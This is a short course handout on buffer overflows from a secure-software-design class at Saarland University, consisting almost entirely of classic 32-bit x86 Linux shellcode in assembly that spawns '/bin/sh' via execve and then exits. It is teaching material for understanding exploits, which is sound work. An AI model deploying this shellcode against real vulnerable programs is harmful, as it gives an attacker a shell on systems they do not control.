Universität des Saarlandes
Lehrstuhl für Softwaretechnik
Prof. Andreas Zeller, Stephan Neuhaus
Design of Secure Software Systems
Handout/Buffer Overflows

1 Exploit Code

```
exploit_start:
exploit:
    jmp .L2
.L1:
    popl %ebx           # load program name to execute
    xorl %eax,%eax      # zero %eax
    movl %ebx,8(%ebx)   # build argument list
    movl %eax,12(%ebx)  # null-terminate argument list
    movb %al,7(%ebx)    # null-terminate "/bin/sh" string
    movb $0xb,%al       # load opcode for execve system call
    leal 8(%ebx),%ecx   # load argument list
    leal 12(%ebx),%edx  # load environment list
    int $0x80           # make system call
    xorl %eax,%eax
    inc %eax            # opcode for exit system call
    movl %eax,%ebx      # exit code 1
    int $0x80           # make system call
.L2:
    call .L1
    .string "/bin/sh"   # %ebx will point to start of this string
exploit_end:
```